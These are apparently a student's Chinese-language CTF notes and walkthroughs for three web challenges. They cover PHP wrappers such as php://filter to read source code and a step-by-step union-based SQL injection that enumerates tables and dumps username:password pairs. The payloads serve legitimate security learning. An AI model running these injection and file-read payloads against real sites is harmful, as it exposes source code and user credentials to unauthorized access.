知识点:
php伪协议
- 常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,
- 涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://
php://
协议:CTF常用php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。 读取文件源码:php://filter/read=convert.base64-encode/resource=[文件名]
(针对php文件需要base64编码)- 其他相关知识可参考:https://segmentfault.com/a/1190000018991087
HTML<a> 标签的 href 属性
- 定义:<a> 标签的 href 属性用于指定超链接目标的 URL
- 用法: href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。
SQL注入
联合注入
- -爆字段数 1' order by 1#
- - 读取数据库 1' union select 1,2,database()#
- - 读取表 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
- - 读取字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
- - 读取内容 1' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#
4-1
做题思路:
首先根据题目 include 和学长说了与php伪协议相关,便再次了解了一下 php伪协议
打开题目发现 tips 点开他
然后查看了一下源码
没有思路,找WP
查看WP后,发现忽略了一个点,既然和 php伪协议有关 ,那么 ,url一定要看一下
发现了
然后,利用base64编码查看文件源码
最后解码得到flag
4-2
做题思路:
打开题目之后,用鼠标滑了一下发现
Oh! You found me 点击之后,
发现一个按钮,点击之后 发现查阅结束
想到学长说的要用抓包,于是抓包后发送发现
便进入得到
接着进入其中得到界面
直接使用伪协议莫得办法,尝试了一下,看WP吧
看WP后发现
要在 secr3t.php 后面用伪协议,不知道为什么,然后解码得到 FLAG
4-3
做题思路:
尝试输入万能密码
得到
嗯哼?就这吗,不太对劲
发现答案不对
好吧,尝试了一下,发现不会
看WP后明白了
就是简单的SQL注入,不过注入方式不同
输入密码账号后观察URL,分析注入方式
注意符号要改成URL编码
接着上面的操作把url中的admin 改成1' union select 1,2,database()#
看是否有报错,爆出字段数,注意把 # 换成URL编码
然后 按照知识点的步骤走就好了